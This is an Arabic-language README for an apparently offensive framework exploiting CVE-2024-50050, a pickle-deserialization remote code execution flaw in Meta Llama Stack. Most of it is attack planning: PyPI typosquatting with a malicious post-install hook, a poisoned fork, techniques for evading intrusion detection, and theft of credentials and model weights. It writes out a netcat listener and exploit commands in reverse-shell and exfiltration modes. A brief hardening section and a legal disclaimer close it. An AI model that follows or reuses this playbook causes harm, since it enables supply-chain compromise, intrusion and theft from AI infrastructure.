💀 LlamaStack-RCE: إطار استغلال سلسلة التوريد CVE-2024-50050

مادة سرية غير مقيدة - للفريق الأحمر المصرح له فقط

1. الملخص التنفيذي (تحليل حتمي)

LlamaStack-RCE هو إطار محاكاة واستغلال عالي الدقة يستهدف CVE-2024-50050، وهي ثغرة حرجة لتنفيذ الأكواد عن بُعد (RCE) في Meta Llama Stack. تنبع الثغرة من إلغاء التسلسل غير الآمن داخل واجهة الاستدلال المبنية على بايثون، وتحديدًا من خلال استخدام وحدة pickle عبر طبقات نقل ZeroMQ (0MQ).

يوفر هذا المستودع سلسلة الهجوم الكاملة، بدءًا من تسميم سلسلة التوريد في المراحل العليا وصولًا إلى التنفيذ في المراحل الدنيا وسرقة أوزان النماذج.

2. التهرب التقني والاستخدام الهجومي

2.1. تشريح الهجوم (استغلال PVM)

يستهدف جوهر الاستغلال آلة Pickle الافتراضية (PVM). من خلال استخدام opcode الخاص بـ GLOBAL، يمكننا إجبار PVM على استيراد أي وحدة بايثون متاحة وتنفيذ دوال عشوائية أثناء عملية unpickling.

متجه الهجوم: ZeroMQ Socket -> Raw Byte Stream -> pickle.loads() -> RCE.

2.2. بناء حمولة متعددة الأشكال

لتجاوز أنظمة كشف التسلل التقليدية القائمة على التوقيعات (Snort/Suricata)، يطبّق الإطار تشفيرًا متعدد الأشكال:

التنفيذ المتداخل عبر Base64: تغليف أوامر الصدفة داخل Base64 لإخفاء السلاسل الحرفية مثل /bin/bash أو os.system.
إخفاء Opcode: إعادة ترتيب تعليمات PVM لتغيير التوقيعات الثنائية دون تغيير منطق التنفيذ.
تهريب الحزم: تجزئة حمولة pickle إلى عدة إطارات ZeroMQ لتجنب اكتشاف الحالات الشاذة القائمة على الحجم.

3. استراتيجية اختراق سلسلة التوريد

يحاكي الإطار تسليحًا شاملاً لسلسلة التوريد:

المرحلة	الاستراتيجية	التنفيذ التقني
I: المراحل العليا	الانتحال الكتابي (Typosquatting)	تسجيل حزمة `metalama-stack` على PyPI مع أمر `PostInstallCommand` خبيث في `setup.py`.

| | II: التوزيع | Fork مسموم | Fork عالي الأداء لـ Llama Stack على GitHub مع "مفسر Pickle خفي" في connection.py.

| | III: التنفيذ | Trigger عبر CI/CD | تنفيذ تلقائي أثناء pip install في بيئة Jenkins/GitHub Actions الخاصة بالهدف.

| | IV: الاستمرارية | قنبلة منطقية | برنامج تخديم خلفي متعدد المراحل للوصول طويل الأمد إلى C2 وسرقة النماذج.

4. البنية المعملية والنشر

4.1. المتطلبات الأساسية

المعدات: 4x NVIDIA A100/H100 (لاختبار الأوزان محليًا).
نظام التشغيل: Arch Linux مُحصّن أو Kali Linux.
البيئة: Docker و Docker-Compose (شبكة معزولة).

4.2. هيكل الملفات

.
├── lab_validator.py          # مجموعة تحقق آلية من 7 مراحل
├── exploit_cve_2024_50050.py # إطار الاستغلال الرئيسي
├── server.py                 # محاكاة Llama Stack القابل للاستغلال
├── setup.py                  # مثبّت سلسلة التوريد المُسلّح
├── post_exploit.py           # جمع البيانات والتحرك الجانبي
└── evasion_library.py        # 12+ طريقة تهرب متقدمة

4.3. سير عمل التنفيذ

التحقق من البيئة:

python lab_validator.py # الهدف: تحقيق معدل نجاح 100%

تشغيل المستمع (C2):

nc -lvnp 4444

تنفيذ الاستغلال (وضع الصدفة العكسية):

python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python

بدء تسريب البيانات:

python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil

5. تقييم الأثر (الخطورة: 10/10)

الاستغلال الناجح يمنح سيطرة مطلقة على البنية التحتية للذكاء الاصطناعي:

سرقة الملكية الفكرية: سرقة أوزان النماذج .safetensors (بما تتراوح قيمته بين 10 ملايين و100 مليون دولار أمريكي أو أكثر).
اختطاف وحدات معالجة الرسوميات: تخصيص غير مصرح به لموارد CUDA لأغراض تعدين العملات الرقمية (Cryptojacking) أو التدريب الخفي (Shadow Training).
التلاعب بالاستدلال: تسميم استجابات النماذج لإحداث أعطال منهجية في التطبيقات الهابطة (ذكاء اصطناعي طبي/قانوني).
حصاد بيانات الاعتماد: استخراج مفاتيح AWS/GCP وإعدادات K8s من /proc/self/environ.

6. التحصين الحتمي (توصيات الفريق الأرجواني)

للتخفيف من CVE-2024-50050، يجب تطبيق القواعد المطلقة التالية:

استئصال Pickle: استبدال جميع استدعاءات pickle.loads() بـ safetensors.torch.load_file() أو msgpack مع مخطط صارم.
تحصين ZMQ: تنفيذ ZMQ_CURVE مع أزواج المفاتيح العامة/الخاصة وعدم الربط أبدًا على 0.0.0.0.
عزل البنية التحتية: تشغيل عمليات الذكاء الاصطناعي داخل gVisor أو Kata Containers لمنع هروب الحاويات عبر RCE.
التقسيم الدقيق للشبكة: عزل خادم الاستدلال عن الإنترنت العام باستخدام قواعد دخول/خروج محددة بدقة.

7. إخلاء المسؤولية القانوني

إشعار قانوني: استخدام هذا الإطار لمهاجمة أهداف دون إذن كتابي مسبق يعد غير قانوني. تم توفيره لأغراض تعليمية واختبار الاختراق المصرح به فقط. المؤلف (Sastra_Adi_Wiguna) لا يتحمل أي مسؤولية عن سوء الاستخدام.

وثيقة مصنفة: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 الحالة الحتمية: جاهز للإنتاج (98/100)

الأكثر شعبية

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-